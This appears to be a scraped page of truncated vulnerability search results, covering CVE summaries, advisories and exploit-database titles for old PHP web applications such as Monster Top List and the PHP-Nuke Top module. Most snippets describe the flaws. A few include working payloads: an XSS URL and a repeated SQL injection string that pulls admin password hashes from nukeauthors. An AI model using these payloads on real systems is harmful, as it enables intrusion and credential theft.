Monster Top List 1.4 - 'functions.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17546/info Monster Top List is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...

CVE-2005-4781

CVE-2005-4781 refers to multiple SQL injection vulnerabilities in SergiDs Top Music module 3.0 PR3 and earlier for PHP-Nuke. The vulnerabilities allow remote attackers to inject arbitrary SQL via the parameters (1) idartist, (2) idsong, and (3) idalbum in modules.php. The NVD entry lists a CVSS2 ...

CVE-2005-4781

Multiple SQL injection vulnerabilities in SergiDs Top Music module 3.0 PR3 and earlier for PHP-Nuke allow remote attackers to execute arbitrary SQL commands via the 1 idartist, 2 idsong, and 3 idalbum parameters to modules.php...

Remote file inclusion

PHP remote file inclusion vulnerability in functions.php in Circle R Monster Top List MTL 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter. NOTE: It was later reported that 1.4.2 and earlier are affected...

CVE-2006-1781

CVE-2006-1781 affects Monster Top List (MTL) “Circle R Monster Top List” version 1.4 and earlier. The vulnerability lies in the PHP file sources/functions.php, where the root_path parameter is not sanitized before being used to include PHP code from other files. This creates a remote file inclusi...

CVE-2006-1781

PHP remote file inclusion vulnerability in functions.php in Circle R Monster Top List MTL 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter. NOTE: It was later reported that 1.4.2 and earlier are affected...

XSS in Monster Top List 1.4

Advisory: XSS in Monster Top List 1.4 Home Page: http://www.monstertoplist.com/ Уязвимость/Vulnerability: Межсайтовый скриптинг/Cross Site Scripting Уязвимый скрипт/Vulnerable script: index.php Exploit: http://www.monstertoplist.com/mtl14/index.php?usererrormessage=scriptalert/script...

Free Articles Directory Remote Command Exucetion

Web Site : http://www.99articles.com Script Demo Site : http://www.articlesone.com General : 1. Support rssfeed XML to distribute articles for others website and blogs. It will make grow website popularity 2. Newsletter to be growing visitors 3. Membership system for writer participants submit...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in Top sites de PixelArtKingdom allows remote attackers to include and execute arbitrary files via the page parameter...

CVE-2006-0969

The CVE-2006-0969 entry concerns a PHP remote file inclusion vulnerability in the page parameter of index.php within Top sites de PixelArtKingdom. The underlying issue is unsafely using the page parameter in an include/require operation, enabling remote attackers to cause arbitrary file inclusion...

CVE-2005-3952

CVE-2005-3952 describes an SQL injection in PHP Labs Top Auction. The vulnerability affects the viewcat.php script and could allow remote attackers to modify or retrieve data via the (1) category, (2) type parameters, or (3) certain search parameters. The root cause is unsafely handled user input...

CVE-2005-3952

SQL injection vulnerability in PHP Labs Top Auction allows remote attackers to execute arbitrary SQL commands via the 1 category and 2 type parameters to viewcat.php, or 3 certain search parameters. NOTE: later a disclosure reported the affected version as 1.0...

Top Music module for PHP Nuke SQL inj. vuln

Top Music module for PHP Nuke SQL inj. vuln Vuln. dicovered by : r0t Date: 28 nov. 2005 orginal advisory:http://pridels.blogspot.com/2005/11/top-music-module-for-php-nuke-sql-inj.html Vendor:http://www.sergids.com/ affected version:3.0 PR3 and prior Product Description: This is a module for PHPNu...

Top Auction Multiple SQL Vuln.

Top Auction Multiple SQL Vuln. Vuln. dicovered by : r0t Date 23 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/top-auction-multiple-sql-vuln.html Vendor:http://www.phplabs.com/ Product link:http://www.phplabs.com/scripts.php?script=Top20Auction affected version: Top Auction last...

Exclude toplevel domain wildcard host

The host you were trying to scan is blacklisted: its address is known to be returned by a wildcard on some top level domains, or it's the openvas.org web server. You probably mistyped its name. OpenVAS Vulnerability Test $Id: TLDwildcard.nasl 8144 2017-12-15 13:19:55Z cfischer $ Description:...

[Full-disclosure] iDEFENSE Security Advisory 06.22.05: Multiple Vendor Cacti Remote File Inclusion Vulnerability

Multiple Vendor Cacti Remote File Inclusion Vulnerability iDEFENSE Security Advisory 06.22.05 www.idefense.com/application/poi/display?id=265&type=vulnerabilities June 22, 2005 I. BACKGROUND Cacti is a round-robin database RRD tool that helps create graphs from database information and is availab...

CVE-2004-1836

CVE-2004-1836 affects Invision Power Top Site List 1.1 RC 2 and earlier, with a vulnerability in the index.php file where the id parameter of the comments action can be exploited to run SQL code (SQL injection). The vulnerability is described with a CVSS v2 base score of 7.5 (HIGH), network attac...

PHP-Nuke 6.x - 7.6 Top module Remote Sql Injection Exploit (working)

No description provided by source. /bin/bash This is just basic-ly modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nukeauthors%20where%20radminsuper=1 works thou /str0ke PHPNuke Top Module Remote SQL Injection by Fabrizi Andrea 2005 andrea.fabrizi at gmail.com Work with the...

PHP-Nuke 6.x 7.6 Top module - SQL Injection

PHP-Nuke 6.x 7.6 Top module - SQL Injection /bin/bash This is just basic-ly modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nukeauthors%20where%20radminsuper=1 works thou /str0ke PHPNuke Top Module Remote SQL Injection by Fabrizi Andrea 2005 andrea.fabrizi at gmail.com Work wit...

PHP-Nuke 6.x < 7.6 Top module - SQL Injection

/bin/bash This is just basic-ly modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nukeauthors%20where%20radminsuper=1 works thou /str0ke PHPNuke Top Module Remote SQL Injection by Fabrizi Andrea 2005 andrea.fabrizi at gmail.com Work with the PHPNuke latest version! URL=$1;...